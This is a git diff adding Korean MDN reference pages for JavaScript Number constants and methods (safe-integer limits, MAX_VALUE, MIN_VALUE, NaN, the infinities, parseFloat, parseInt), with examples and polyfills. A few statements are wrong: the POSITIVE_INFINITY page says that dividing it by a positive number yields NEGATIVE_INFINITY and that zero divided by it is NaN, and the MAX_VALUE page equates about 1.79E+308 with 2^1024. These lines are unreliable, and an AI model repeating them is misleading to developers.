+<p>{{Compat("javascript.builtins.Number.isSafeInteger")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html b/files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html
new file mode 100644
index 0000000000..c8b4d679d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/max_safe_integer/index.html
@@ -0,0 +1,76 @@
+---
+title: Number.MAX_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MAX_SAFE_INTEGER</code></strong> 상수는 JavaScript에서 안전한 최대 정수값을 나타냅니다. (<code>2<sup>53</sup> - 1</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxsafeinteger.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MAX_SAFE_INTEGER</code> 상수는 <code>9007199254740991</code>(9,007,199,254,740,991 또는 약 9000조)의 값을 갖고 있습니다. 이 값의 이유는 JavaScript가 <a href="http://en.wikipedia.org/wiki/IEEE_floating_point">IEEE 754</a>에 기술된 <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">배정밀도 부동소숫점 형식 숫자체계</a>를 사용하기 때문으로, 이로 인해 <code>-(2<sup>53</sup> - 1)</code>과 <code>2<sup>53</sup> - 1</code> 사이의 수만 안전하게 표현할 수 있습니다.</p>
+
+<p>여기서의 안전함이란 정수를 정확하고 올바르게 비교할 수 있음을 의미합니다. 예를 들어 <code>Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2</code>는 참으로 평가되며 이는 수학적으로 올바르지 않습니다. 더 자세한 내용은 {{jsxref("Number.isSafeInteger()")}}를 참고하세요.</p>
+
+<p><code>MAX_SAFE_INTEGER</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MAX_SAFE_INTEGER</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Number.MAX_SAFE_INTEGER // 9007199254740991
+Number.MAX_SAFE_INTEGER * Number.EPSILON // 2 because in floating points, the value is actually the decimal trailing "1"
+                                         // except for in subnormal precision cases such as zero
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js"><code>if (!Number.MAX_SAFE_INTEGER) {
+ Number.MAX_SAFE_INTEGER = Math.pow(2, 53) - 1; // 9007199254740991
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/max_value/index.html b/files/ko/web/javascript/reference/global_objects/number/max_value/index.html
new file mode 100644
index 0000000000..c80ae8f84a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/max_value/index.html
@@ -0,0 +1,81 @@
+---
+title: Number.MAX_VALUE
+slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MAX_VALUE</code></strong> 속성은 JavaScript가 표현할 수 있는 제일 큰 양의 숫자 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxvalue.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MAX_VALUE</code>의 값은 약 <code>1.79E+308</code>, 2<sup>1024</sup>입니다. <code>MAX_VALUE</code>보다 큰 값은 {{jsxref("Infinity")}}로 표현됩니다.</p>
+
+<p><code>MAX_VALUE</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MAX_VALUE</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="MAX_VALUE_사용하기"><code>MAX_VALUE</code> 사용하기</h3>
+
+<p>다음 코드는 두 개의 수를 곱합니다. 만약 결과가 <code>MAX_VALUE</code> 이하면 <code>func1</code>을 호출하고, 그렇지 않으면 <code>func2</code>를 호출합니다.</p>
+
+<pre class="brush: js">if (num1 * num2 &lt;= Number.MAX_VALUE) {
+ func1();
+} else {
+ func2();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.MAX_VALUE")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html b/files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html
new file mode 100644
index 0000000000..67efd0e681
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/min_safe_integer/index.html
@@ -0,0 +1,66 @@
+---
+title: Number.MIN_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MIN_SAFE_INTEGER</code></strong> 상수는 JavaScript에서 안전한 최소 정수값을 나타냅니다. (<code>-(2<sup>53</sup> - 1)</code>)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-min-safe-integer.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MIN_SAFE_INTEGER</code> 상수는 <code>-9007199254740991</code>(-9,007,199,254,740,991 또는 약 -9000조)의 값을 갖고 있습니다. 이 값의 이유는 JavaScript가 <a href="http://en.wikipedia.org/wiki/IEEE_floating_point">IEEE 754</a>에 기술된 <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">배정밀도 부동소숫점 형식 숫자체계</a>를 사용하기 때문으로, 이로 인해 <code>-(2<sup>53</sup> - 1)</code>과 <code>2<sup>53</sup> - 1</code> 사이의 수만 안전하게 표현할 수 있습니다.</p>
+
+<p><code>MIN_SAFE_INTEGER</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MIN_SAFE_INTEGER</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="설명_2">설명</h2>
+
+<pre class="brush: js">Number.MIN_SAFE_INTEGER // -9007199254740991
+-(Math.pow(2, 53) - 1) // -9007199254740991
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MIN_SAFE_INTEGER")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/min_value/index.html b/files/ko/web/javascript/reference/global_objects/number/min_value/index.html
new file mode 100644
index 0000000000..66b4985942
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/min_value/index.html
@@ -0,0 +1,84 @@
+---
+title: Number.MIN_VALUE
+slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+tags:
+ - JavaScript
+ - Number
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.MIN_VALUE</code></strong> 속성은 JavaScript가 표현할 수 있는 제일 작은 양의 숫자 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-min-value.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>MIN_VALUE</code> 속성은 JavaScript에서 표현할 수 있는, 0에 가장 가깝지만 음수는 아닌 수입니다.</p>
+
+<p><code>MIN_VALUE</code>의 값은 약 <code>5e-324</code>입니다. <code>MIN_VALUE</code>보다 작은 값("언더플로우 값")은 0으로 변환됩니다.</p>
+
+<p><code>MIN_VALUE</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.MIN_VALUE</code> 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="MIN_VALUE_사용하기"><code>MIN_VALUE</code> 사용하기</h3>
+
+<p>다음 코드는 숫자를 두 개의 수를 받아 나누기 연산을 합니다. 만약 결과가 <code>MIN_VALUE</code> 보다 크거나 같으면 <code>func1</code> 함수를 호출하고, 그렇지 않으면 <code>func2</code> 함수를 호출합니다.</p>
+
+<pre class="brush: js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
+ func1();
+} else {
+ func2();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MIN_VALUE")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/nan/index.html b/files/ko/web/javascript/reference/global_objects/number/nan/index.html
new file mode 100644
index 0000000000..348820c376
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/nan/index.html
@@ -0,0 +1,62 @@
+---
+title: Number.NaN
+slug: Web/JavaScript/Reference/Global_Objects/Number/NaN
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.NaN</code></strong> 속성은 Not-A-Number(숫자가 아님)를 나타냅니다. {{jsxref("NaN")}}과 같습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/number-nan.html")}}<br>
+ 정적 속성이므로 접근하기 위해 {{jsxref("Number")}} 객체를 생성할 필요는 없습니다. (<code>Number.NaN</code> 사용)</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.NaN")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>전역 {{jsxref("NaN")}} 객체.</li>
+ <li>본 속성이 속한 {{jsxref("Number")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html b/files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html
new file mode 100644
index 0000000000..d6567e687e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/negative_infinity/index.html
@@ -0,0 +1,82 @@
+---
+title: Number.NEGATIVE_INFINITY
+slug: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+tags:
+ - JavaScript
+ - Number
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.NEGATIVE_INFINITY</code></strong> 속성은 음의 무한대를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-negative-infinity.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.NEGATIVE_INFINITY</code>의 값은 전역 객체 {{jsxref("Infinity")}} 속성의 부호를 바꾼 값과 동일합니다.</p>
+
+<p><code>NEGATIVE_INFINITY</code>는 수학에서의 무한대와 약간 다릅니다.</p>
+
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}를 포함한 아무 양의 수와 <code>NEGATIVE_INFINITY</code>를 곱한 결과는 <code>NEGATIVE_INFINITY</code>입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를 포함한 아무 음의 수와 <code>NEGATIVE_INFINITY</code>를 곱한 결과는 {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}입니다.</li>
+ <li>아무 양의 수를 <code>NEGATIVE_INFINITY</code>로 나눈 결과는 음의 부호를 가진 0입니다.</li>
+ <li>아무 음의 수를 <code>NEGATIVE_INFINITY</code>로 나눈 결과는 0입니다.</li>
+ <li>0을 <code>NEGATIVE_INFINITY</code>로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li>{{jsxref("NaN")}}에 <code>NEGATIVE_INFINITY</code>를 곱한 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를, <code>NEGATIVE_INFINITY</code>를 제외한 아무 음의 수로 나눈 결과는 {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를, {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}를 제외한 아무 양의 수로 나눈 결과는 <code>NEGATIVE_INFINITY</code>입니다.</li>
+ <li><code>NEGATIVE_INFINITY</code>를 <code>NEGATIVE_INFINITY</code> 또는 {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+</ul>
+
+<p><code>Number.NEGATIVE_INFINITY</code>를 사용해 성공 시 유한수를 반환하는 식의 결과를 판별할 수 있습니다. 그러나 이런 경우 {{jsxref("isFinite", "isFinite()")}}를 사용하는 편이 더 적합합니다.</p>
+
+<p><code>NEGATIVE_INFINITY</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.NEGATIVE_INFINITY</code>의 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="NEGATIVE_INFINITY_사용하기"><code>NEGATIVE_INFINITY</code> 사용하기</h3>
+
+<p>다음 코드에서 <code>smallNumber</code>는 JavaScript의 최솟값보다 작은 값을 할당받습니다. {{jsxref("Statements/if...else", "if")}} 문이 실행되면, <code>smallNumber</code>의 값이 <code>-Infinity</code>이므로 <code>smallNumber</code>는 계산에 좀 더 적합한 값을 다시 할당합니다.</p>
+
+<pre class="brush: js notranslate">var smallNumber = (-Number.MAX_VALUE) * 2;
+
+if (smallNumber === Number.NEGATIVE_INFINITY) {
+ smallNumber = returnFinite();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.NEGATIVE_INFINITY")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html b/files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html
new file mode 100644
index 0000000000..763c28a42d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/parsefloat/index.html
@@ -0,0 +1,79 @@
+---
+title: Number.parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Number
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.parseFloat()</code></strong> 메서드는 문자열을 분석해 부동소수점 실수로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parsefloat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.parseFloat(<var>string</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseFloat", "매개변수")}}</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseFloat", "반환 값")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.parseFloat()</code> 메서드는 전역 {{jsxref("parseFloat", "parseFloat()")}} 함수와 같은 기능을 가지고 있습니다.</p>
+
+<pre>Number.parseFloat === parseFloat; // true</pre>
+
+<p><code>Number.parseFloat()는</code> ECMAScript 2015에서 전역 범위의 모듈화를 위해 추가됐습니다. 상세한 정보와 예제는 {{jsxref("parseFloat", "parseFloat()")}}를 참고하세요.</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (Number.parseFloat === undefined) {
+  Number.parseFloat = parseFloat;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<div>{{Compat("javascript.builtins.Number.parseFloat")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>전역 {{jsxref("parseFloat", "parseFloat()")}} 메서드.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/parseint/index.html b/files/ko/web/javascript/reference/global_objects/number/parseint/index.html
new file mode 100644
index 0000000000..0b0a052016
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/parseint/index.html
@@ -0,0 +1,78 @@
+---
+title: Number.parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Number
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.parseInt()</code></strong> 메서드는 문자열을 분석하고 특정 진수를 사용한 정수로 변환해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parseint.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.parseInt(<var>string,</var>[ <var>radix</var>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<div>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseInt", "매개변수")}}</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseInt", "반환 값")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.parseInt()</code> 메서드는 전역 {{jsxref("parseInt", "parseInt()")}} 함수와 같은 기능을 가지고 있습니다.</p>
+
+<pre class="brush: js">Number.parseInt === parseInt; // true</pre>
+
+<p><code>Number.parseInt()</code>는 ECMAScript 2015에서 전역 범위의 모듈화를 위해 추가됐습니다. 상세한 정보와 예제는 {{jsxref("parseInt", "parseInt()")}}를 참고하세요.</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (Number.parseInt === undefined) {
+ Number.parseInt = window.parseInt;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.parseint', 'Number.parseInt')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.parseInt")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>전역 {{jsxref("parseInt", "parseInt()")}} 메서드.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html b/files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html
new file mode 100644
index 0000000000..b1012fcdbf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html
@@ -0,0 +1,82 @@
+---
+title: Number.POSITIVE_INFINITY
+slug: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+tags:
+ - JavaScript
+ - Number
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.POSITIVE_INFINITY</code></strong> 속성은 양의 무한대를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-positive-infinity.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.POSITIVE_INFINITY</code>의 값은 전역 객체 {{jsxref("Infinity")}} 속성의 값과 동일합니다.</p>
+
+<p><code>POSITIVE_INFINITY</code>는 수학에서의 무한대와 약간 다릅니다.</p>
+
+<ul>
+ <li><code>POSITIVIE_INFINITY</code>를 포함한 아무 양의 수와 <code>POSITIVE_INFINITY</code>를 곱한 결과는 <code>POSITIVE_INFINITY</code>입니다.</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}를 포함한 아무 음의 수와 <code>POSITIVE_INFINITY</code>를 곱한 결과는 {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}입니다.</li>
+ <li>아무 양의 수를 <code>POSITIVE_INFINITY</code>로 나눈 결과는 0입니다.</li>
+ <li>아무 음의 수를 <code>POSITIVE_INFINITY</code>로 나눈 결과는 음의 부호를 가진 0입니다.</li>
+ <li>0을 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">POSITIVE_INFINITY</span></font>로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li>{{jsxref("NaN")}}에 <code>POSITIVE_INFINITY</code>를 곱한 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li><code>POSITIVE_INFINITY</code>를, {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}를 제외한 아무 음의 수로 나눈 결과는 {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}입니다.</li>
+ <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">POSITIVE_INFINITY<code>를</code></span></font>, <code>POSITIVE_INFINITY</code>를 제외한 아무 양의 수로 나눈 결과는 <code>NEGATIVE_INFINITY</code>입니다.</li>
+ <li><code>POSITIVE_INFINITY</code>를 {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} 또는 <code>POSITIVE_INFINITY</code>로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+</ul>
+
